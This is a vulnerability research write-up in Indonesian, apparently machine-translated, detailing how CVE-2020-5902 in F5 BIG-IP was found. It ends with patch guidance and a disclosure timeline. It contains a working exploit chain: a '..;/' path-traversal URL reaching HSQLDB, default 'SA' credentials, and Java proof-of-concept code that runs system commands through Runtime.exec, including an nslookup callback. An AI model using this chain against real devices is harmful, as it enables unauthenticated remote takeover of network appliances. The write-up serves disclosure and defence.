BIG-IP dari F5 adalah pengontrol pengiriman aplikasi populer yang digunakan oleh perusahaan terbesar di dunia. Selama analisis keamanan produk ini, kami dapat menemukan kerentanan berbahaya CVE-2020-5902. Cacat keamanan ini memungkinkan penyerang untuk menjalankan perintah atas nama pengguna yang tidak sah dan sepenuhnya membahayakan sistem, seperti mencegat lalu lintas sumber daya web yang dikendalikan oleh pengontrol.
Menurut data kami, pada Juni 2020, dimungkinkan untuk mendapatkan akses dari Internet ke 8 ribu perangkat yang mengandung kerentanan CVE-2020-5902. Analisis terperinci ada di artikel baru kami.
Apa masalahnya
BIG-IP dari F5 adalah pengontrol pengiriman aplikasi populer yang digunakan oleh perusahaan terbesar di dunia. Kerentanan CVE-2020-5902 diberi peringkat 10 pada skala CVSS - tingkat keparahan tertinggi.
Kerentanan dapat memungkinkan penyerang jarak jauh, termasuk penyerang yang tidak berkepentingan dengan akses ke utilitas konfigurasi BIG-IP, untuk mengeksekusi kode arbitrer dalam perangkat lunak (eksekusi kode jarak jauh, RCE). Akibatnya, penyerang akan dapat membuat atau menghapus file, menonaktifkan layanan, mencegat informasi, menjalankan perintah sistem sewenang-wenang dan kode Java arbitrer, sepenuhnya membahayakan sistem dan mengembangkan serangan, misalnya, pada segmen jaringan internal.
Kombinasi kelemahan keamanan dalam beberapa komponen sistem (mis., Direktori di luar batas) menghasilkan RCE. Perusahaan di mana antarmuka web F5 BIG-IP dapat ditemukan di mesin pencari khusus, seperti Shodan, berada pada risiko tertentu, tetapi perlu dicatat bahwa antarmuka yang diperlukan tidak dapat diakses dari jaringan global oleh semua perusahaan pengguna.
Selama pemantauan ancaman aktual (ancaman Intelijen), kami menemukan bahwa pada akhir Juni 2020, ada lebih dari 8 ribu perangkat rentan yang tersedia dari Internet di dunia, di mana 40% di Amerika Serikat, 16% di China, 3% di Taiwan, masing-masing 2,5%. di Kanada dan Indonesia. Kurang dari 1% perangkat yang rentan terdeteksi di Rusia.
Sekarang mari kita lanjutkan ke kisah bagaimana kami berhasil menemukan CVE-2020-5902.
Mencari kesalahan konfigurasi server web
Mari instal F5 Big-IP ke mesin virtual kita, dan dapatkan akses ke shell perintahnya:
Antarmuka baris perintah F5 Big-IP
Hal pertama yang harus dilakukan untuk memulai penelitian adalah melihat semua port yang terbuka dan aplikasi apa yang menggunakannya. Ini akan mengidentifikasi semua kemungkinan titik masuk ke sistem. Untuk melakukan ini, kami menggunakan perintah netstat:
Menemukan port terbuka pada perangkat
Saya ingin menganalisis aplikasi web, jadi mari kita mulai menganalisis konfigurasi server httpd yang mendengarkan pada port 443 / tcp.
File yang paling menarik dari konfigurasinya adalah "/etc/httpd/conf.d/proxy_ajp.conf":
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#
#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>
<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>
Isi file /etc/httpd/conf.d/proxy_ajp.conf File
ini mengkonfigurasi Apache sehingga mentransfer permintaan ke Apache Tomcat di port lokal 8009 / tcp melalui protokol AJP, tetapi hanya jika permintaan ini cocok dengan satu dari ekspresi reguler yang diberikan.
Menemukan Aplikasi yang Mendengarkan di Port 8009 / tcp
Penting di sini untuk merujuk pada penelitian Orange Tsai tentang cara membuat server yang dirantai menangani URL secara berbeda. Khususnya, untuk bundel Apache HTTP Server dan Apache Tomcat kami, Anda dapat menguji urutan karakter "..; /":
slide presentasi Orange Tsai
Menurut penelitian ini, Apache HTTP Server akan mengurai urutan tersebut sebagai nama folder yang valid, sedangkan Apache Tomcat akan menganggap bahwa kombinasi ini menunjukkan transisi ke direktori sebelumnya.
Untuk memahami apakah metode ini akan berhasil, Anda perlu mendapatkan jalur ke salah satu titik akhir Tomcat yang tersembunyi di file konfigurasi:
β¦
<servlet-mapping>
<servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
<url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
</servlet-mapping>
β¦
Sebuah fragmen dari file konfigurasi /usr/local/www/tmui/WEB-INF/web.xml
Path /tiles/tmui/em_filter.jsp tidak boleh cocok dengan ekspresi reguler di file proxy_ajp.conf, jadi mari kita uji:
Menguji teknik Orange Tsai
Permintaan normal mengembalikan kode 404, dan permintaan menggunakan teknik Orange Tsai mengembalikan kode 200. Jadi, sekarang kita dapat mengakses halaman mana pun di server internal Apache Tomcat perangkat yang diselidiki.
Temukan titik akhir Tomcat yang rentan
Mari kita periksa konfigurasi server Apache Tomcat dan mencoba menemukan titik akhir yang rentan di dalamnya.
Kami menggunakan jalur /tiles/tmui/em_filter.jsp sebelumnya, tetapi sekarang mari kita coba menemukan sesuatu yang lebih berguna:
β¦
<servlet>
<servlet-name>hsqldb</servlet-name>
<servlet-class>org.hsqldb.Servlet</servlet-class>
<load-on-startup>3</load-on-startup>
</servlet>
β¦
<servlet-mapping>
<servlet-name>hsqldb</servlet-name>
<url-pattern>/hsqldb/*</url-pattern>
</servlet-mapping>
β¦
Fragmen file /usr/local/www/tmui/WEB-INF/web.xml
Perhatian saya tertuju pada jalur β/ hsqldb /β, yang ditangani oleh kelas org.hsqldb.Servlet. Akronim HSQLDB adalah singkatan dari Hyper SQL Database dan jalurnya / hsqldb / bertanggung jawab untuk menyediakan akses ke database itu sendiri.
Mari kita
periksa apakah teknik kami dapat digunakan untuk mengakses jalur ini: Memeriksa ketersediaan HSQLDB
Dengan demikian, kami berhasil melewati otorisasi dan mendapatkan akses ke HSQLDB. Situs web resmi HSQLDB memiliki panduan tentang cara menghubungkan ke database melalui HTTP , dan dikatakan bahwa Anda dapat menggunakan driver Java khusus untuk terhubung ke database melalui HTTP. Dan untuk terhubung, Anda perlu mengetahui login dan kata sandi untuk database.
Mari gunakan 'teknik emas' yang disebut "pencarian Google" dan temukan nama pengguna dan sandi default untuk HSQLDB:
Google menunjukkan kepada Anda nama pengguna dan sandi default langsung di halaman pencarian
Sekarang tulis Bukti Konsep di Java untuk menguji asumsi kami bahwa driver HSQLDB dapat bekerja dengan data login default berikut:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
Kode PoC untuk menghubungkan ke HSQLDB dan meminta daftar pengguna HSQLDB
Hasil dari mengeksekusi kode PoC yang diberikan
Kode tersebut dijalankan dan dihapus pengguna pertama dari tabel, yang berarti bahwa sekarang kita dapat mengeksekusi kueri SQL sewenang-wenang tanpa otentikasi apa pun di F5 Big- AKU P.
Menjelajahi titik akhir HSQLDB
Saya menghabiskan sedikit waktu dalam dokumentasi HSQLDB dan menyelesaikan pernyataan CALL - ini dapat digunakan untuk menjalankan prosedur yang tersimpan, termasuk metode Java statis apa pun di jalur kelas HSQLDB.
Mari dapatkan classpath dari HSQLDB:
Permintaan: CALL "java.lang.System.getProperty" ('java.class.path')
Tanggapan: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / kelas "
Ini adalah classpath yang sama persis dengan server Apache Tomcat.
Sekarang kita perlu menemukan metode statis yang memungkinkan eksekusi kode jarak jauh. Setelah pencarian singkat di file tmui.jar di kelas com.f5.view.web.pagedefinition.shuffler.Scripting, metode setRequestContext ditemukan:
public static void setRequestContext(String object, String screen)
{
PyObject current = getInterpreter().eval(object + "__" + screen + "()");
currentObject.set(current);
}
Mencoba memanggil metode ini dengan data arbitrer:
Permintaan: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')
Tanggapan: "NameError: aa__bb",
Kami melihat bahwa kami masuk ke konteks eksekusi kode Python, dan meneruskan data yang salah.
Kami mencoba mengimpor modul "os" dan memanggil fungsi sistem:
Permintaan: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')
Balas: "ImportError: tidak ada modul bernama javaos"
Google kesalahannya dan temukan bahwa ini adalah perilaku khas dalam bahasa Jython.
Kami mencoba menjalankan perintah dengan cara yang berbeda:
Permintaan: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')
Balas: null
Kami mendapat null dari permintaan ini, yang memberi tahu kami tentang keberhasilan eksekusi perintah. Sekarang, mari kita kumpulkan kode PoC terakhir yang akan mengirim permintaan dns jika server rentan:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
Dan kami akan mendapatkan RCE di F5 Big-IP kami menggunakan perintah untuk reverse shell:
Mengakses F5 Big-IP melalui rantai kerentanan yang ditemukan
Ringkasan
Kami mendapatkan RCE dari pengguna tidak sah dalam tiga langkah mudah:
- Menemukan bug di konfigurasi Apache HTTP Server dan Apache Tomcat
- Menggunakan kata sandi default untuk HSQLDB
- Menggunakan metode statis yang tidak jelas dalam kode library F5 Big-IP
Bagaimana melindungi diri sendiri
Untuk memperbaiki kerentanan, Anda harus memperbarui sistem ke versi terbaru: versi BIG-IP yang rentan (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) harus diganti dengan versi di mana kerentanan telah diperbaiki ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Untuk pengguna pasar cloud publik (AWS, Azure, GCP dan Alibaba), Anda harus menggunakan BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, atau 15.1.0.4), asalkan tersedia di pasar ini. Panduan lebih lanjut tersedia di Pemberitahuan F5 BIG-IP .
Penulis : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies
Linimasa:
- 1 April, 2020 - Kerentanan telah diserahkan ke F5 Networks
- 3 April 2020 - Tim F5 dapat mereproduksi kerentanan
- 1 July, 2020 β Security Advisory